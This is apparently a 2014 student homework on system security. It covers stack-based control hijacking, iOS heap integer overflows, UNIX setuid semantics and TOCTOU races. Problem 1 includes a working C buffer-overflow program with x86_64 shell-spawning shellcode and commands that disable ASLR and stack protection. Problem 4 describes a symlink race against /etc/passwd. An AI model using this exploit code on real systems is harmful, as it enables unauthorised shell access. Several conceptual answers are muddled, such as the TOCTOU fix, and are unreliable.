Bilgisayar Sistemleri ve Ağ Güvenliği - Homework 1

Mahmut Bulut - 14501026
Computer Engineering Dept., Yıldız Technical University

November 25, 2014

Problem 1: Control Hijacking

a) Because attacker should know where is return address[1] and it is going to be hard to find with testing(in stack)[2], moreover he should write to heap address. If he is going to alter the Global Offset Table[3] he does not needed to write both on stored address on heap and return address(with return-to-got attack)[4]. If attacker wants to place a shellcode[5] in buffer, buffer shouldn't smash above the return address (e.g. function params). If we overwrite return address and we don't know lower bytes of it, OS will throw bus error. Besides that OS has some built-in protection like ASLR(Address Space Layout Randomization). It makes address computations harder(thus I couldn't place a shellcode within context). I tried to get rid of ASLR but on MacOS machine it is hard to get rid of it. On the way to experimenting with this homework I discovered Xcode is building executables with PIE(Position Independent Executable)[6] enabled. This means ASLR is always enabled whatever you pass as compiler argument from Xcode IDE GUI. But on command line you can compile with PIE disabled. At the end I used Linux x86_64 machine to overcome this problem. Currently many attack types don't allow directly writing to return address. Prevention for stack manipulation done by canaries, NX bit[7] and layout randomization and more. Every protection has its own attack vector.

b)
```
//
//  main.c
//  skyjack
//
//  Created by Mahmut Bulut on 23/11/14.
//  Copyright (c) 2014 Mahmut Bulut. All rights reserved.
//
// Disable ASLR:
//   echo 0 > /proc/sys/kernel/randomize_va_space
//
```

[1] https://gcc.gnu.org/onlinedocs/gcc/Return-Address.html
[2] http://articles.manugarg.com/stack.html
[3] http://www.open-security.org/texts/6
[4] http://www.infosecwriters.com/text_resources/pdf/GOT_Hijack.pdf
[5] http://users.ece.cmu.edu/~adrian/630-f04/readings/AlephOne97.txt
[6] http://www.nasm.us/doc/nasmdoc7.html#section-7.6.1
[7] http://www.win.tue.nl/~aeb/linux/hh/protection.html

```
// and compile this via:
//  gcc -g -fpic -fno-stack-protector -DFORTIFY_SOURCE=0 -z execstack skyjack.c -o skyjac
// to use shell exploit.
//

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char* data;

void watchaddr() {
    printf("%p\n", __builtin_return_address(2));
}

void doodah(char *argv[])
{
    /**
     * Simulate the behavior of StackGuard (preamble)
     * 1- Get return address
     * 2- Allocate space on heap
     * 3- Put return address to a randomized address
     * (for this demonstration we put it in 0xD - can be randomized)
     */
    printf("%p\n", __builtin_return_address(0));
    data = (unsigned long long*) malloc(sizeof(unsigned long long)*0xDEADBEEF);
    *(unsigned long long *)(&data+0xD) = __builtin_return_address(0);


    /**
     * Shellcode to execute after buffer overflow
     * This shellcode writes itself every execution to memory
     * In some ASLR protection data is written via cache invalidation
     * ref. https://github.com/sharedRoutine/ASLR-Write/blob/master/aslrwrite.h#L81
     */
    char shellcode[] =
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
```

```
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \

/**
 * Above NOP sled is 100 bytes
 */

"\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62" \
"\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31" \
"\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c" \
"\x58\x0f\x05" \

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \

/**
 * Above shell launcher part is 60 bytes and it is only for Linux x86_64
 */

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \

/**
 * Above NOP sled is 40 bytes
 */

/**
 * Buffer is full now smash the RBP
 */

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";

char* dat = (char *) __builtin_return_address(0);
printf("Overwriting return address %x\n", dat); // to end of shellcode
// copy expected return address (low bytes) and evade from ASLR crashes temporarily
memcpy((void *)shellcode+216, &dat, 4);

/**
 * print the ending of shellcode to see it was compensated by the address
 */
printf("212 pchar %x\n", shellcode[212]);
printf("213 pchar %x\n", shellcode[213]);
printf("214 pchar %x\n", shellcode[214]);
printf("215 pchar %x\n", shellcode[215]);
```

```
    printf("216 pchar %x\n", shellcode[216]);
    printf("217 pchar %x\n", shellcode[217]);
    printf("218 pchar %x\n", shellcode[218]);
    printf("219 pchar %x\n", shellcode[219]);

    printf("Expected function return addr %p\n", __builtin_return_address(0));
    printf("Shellcode address on DS %p\n", &shellcode);

    /**
     * Buffer, which is going to be overflow
     */
    char buffer[200];
    strcpy(buffer, shellcode);
    printf("BUFFER %p\n", &buffer);

    if (argv[1] != 0x0 && strcmp(argv[1], "Y") == 0)
    {
        (*(void (*)()) buffer)();
    }

    /**
     * Below code behaves like stack guard (postamble)
     * Checks return address with address saved in heap
     */
    printf("%p\n", __builtin_return_address(0));
    printf("GELEN ADRES %p\n", *(&data+0xD));
    printf("ALINAN ADRES %p\n", __builtin_return_address(0));

    if (*(&data+0xD) == __builtin_return_address(0)) {
        _exit(0); // if everything is ok _exit, without atexit(without stack cleanup and
    } else{
        abort(); // or abort immediately with unsuccessful termination.
    }
}

int main(int argc, char *argv[])
{
    if (argc != 2)
    {
        perror("usage:\n\t- pass Y to use shell exploit\n\t- pass N to look return addres
        exit(EXIT_FAILURE);
    }

    /**
     * Goin' to run all night
```

```
     * Goin' to run all day
     * I bet my money on a bob-tailed nag
     * Somebody bet on the gray
     *
     * http://youtu.be/noYptXPHiAE
     */

    printf("DOO-DAH\n");
    doodah(argv);

    return 0;
}
```

Above code writes a shellcode to buffer and overwrites low bytes of return address to get passed from stackguard like protection environment. Overwrite works on ASLR enabled environments(MacOS x86_64, Linux x86_64 tested). Shellcode belongs to Linux x86_64 with [8]. I wrote return address storing and checking code after that I developed my own exploit. At the beginning of the code compiler arguments are written. But not all them are needed like *-z exectack* or *-g*.

Problem 2: Memory Management

a) *size_t memsize = sizeof (*hdr) + size;* is a size calculation which means it includes integer arithmetic because of that if *size* is bigger than the barrier value for that calculation *memsize* overflows and it will be smaller than *size*[9] these lines added for preventing these kind of integer overflow attacks. Without the lines added in iOS 5.x a function with large *size* value can make a integer overflow, moreover if code allocates bytes with overflowed size it will be only a small portion of the memory. Rest of the area can be writable and data can be injected through the unallocated memory region. Also data can be overwritten in this way(spread in memory) or with this exploit data can read other freed areas with historical values(from their old processes). This can be the exploit of this vulnerability.

b) It makes difficult to find return address, register values and exloitable objects in binary because binary addresses are randomized and cannot be predictable on where it will take place on OS. Variable declarations are distant from each other and don't know where a variable will take place in memory. Saves kernel memory allocation to chunks. This provides also decreased amount of chroot breaks to iOS devices in this manner. Full control will be inhibited with this way. But on the other hand this allocation is introduced OBOE(Off-by-one Error) NUL byte overflow exploits.

Problem 3: UNIX Access Control

a) When a process is created by FORK, the created process inherits its parent's UIDs. We can understand that child process's UIDs(RUID, EUID, SUID) copied from parents'.[10]

[8] http://shell-storm.org/shellcode/files/shellcode-77.php
[9] http://antid0te.com/CSW2012_StefanEsser_iOS5_An_Exploitation_Nightmare_FINAL.pdf
[10] http://skednet.wordpress.com/2010/07/07/uid-euid-suid-fsuid/

b) a) In this premise; process doesn't have priviledges because EUID differs from 0. EUID is used for checking shell scripts working in elevated priviledges[11], so if it isn't 0 there is no elevated priviledges. Setuid has OS specific differences, this makes setting uids under different OSes complicated.[1] We can assume given uuid is m that condition sets EUID to m because SUID and RUID is also m on contrast to that if EUID is not m EUID will stay same with value n.[12]

if $euid := 0$ **then**
$ruid := newuid, euid := newuid, suid := newuid$
else
$euid := newuid$ (Only **given uid** is equal to the **RUID** or the **SUID**)
end if

b) Like above pseudocode if n equal to 0 it means it has elevated priviledges and it can set all RUID, SUID set even itself.

c) Separate uids make isolation between processes, they cannot interfere with each others' memory space. Normally same uid processes don't have problems with lock downs on same region but separate uids makes this difference in process context. Like in presentations of this lecture it also add compartmentalization to processes.

d) Because 0 belongs to elevated priviledges and couldn't be considered as unauthorized process level uid. If processes have 0 as uid value every process can set its uid types. It will become meaningless to have 0 as uid value if no setuid is running after of spawn. Therefore as much as possible in distributed systems, systems should become compartmentalized and different values of uid in every compartment other than zero.

e) Everytime fork creates copied uids from parent to child so Zygote process runs as root and has 0 as uid on all types. So forking from it creates 0 uid processes whereupon they *setuid* for themselves. Processes becomes discrete and compartmentalized processes after that. Main idea for that named as PoLP(Principle of Least priviledge).[13] This makes separation between system level and user level applications. Application level access to resources becomes more independent than system. User level crashes or lock downs doesnt interfere with system resource allocation(at least in Android it works like that because of VM layout.)

f) Alice can craft a file that can be run by Bob or attachable runnable to a process on Bob's space. This makes exploit different users space. Also arbitrary *chown* command execution can fill time-shared systems and other users disk space with indelible files. Moreover these files that will be placed in other users' environment can spy on them and get info about their environment, sensitive data etc. if attacker gains elevated priviledges.

Problem 4: TOCTOU

a) If symbolic link created for *file.dat* to */etc/passwd*, */dev/* devices* or any other system file or block in sleep(10) time slice write to that block or file and system will be exploited.

[11] `http://bashshell.net/shell-scripts/forcing-scripts-to-run-as-root/`
[12] `http://pubs.opengroup.org/onlinepubs/009695399/functions/setuid.html`
[13] `http://en.wikipedia.org/wiki/Principle_of_least_privilege`

b) Sleep doesn't make exploit keep up working like that without sleep execution can interfere with another exploit block. Nowadays end user computing doesn't involve with massively parallel processes. Scheduling should be done right and pipelined execution in current CPUs make exploitable environments like that. Already of the name of the problem TOCTOU embodies race condition exploitation.

c) I think there is no fix for that kind of things in current os and architecture types.[14] Branch prediction hardware can be hardened in this way to avoid some of that TOCTOU exploitation. So programs can know where the execution is going to be and loads branch addresses faster than normal.

References

[1] Hao Chen, David Wagner, and Drew Dean. Setuid demystified.

[14] http://en.wikipedia.org/wiki/Time_of_check_to_time_of_use#Preventing_TOCTTOU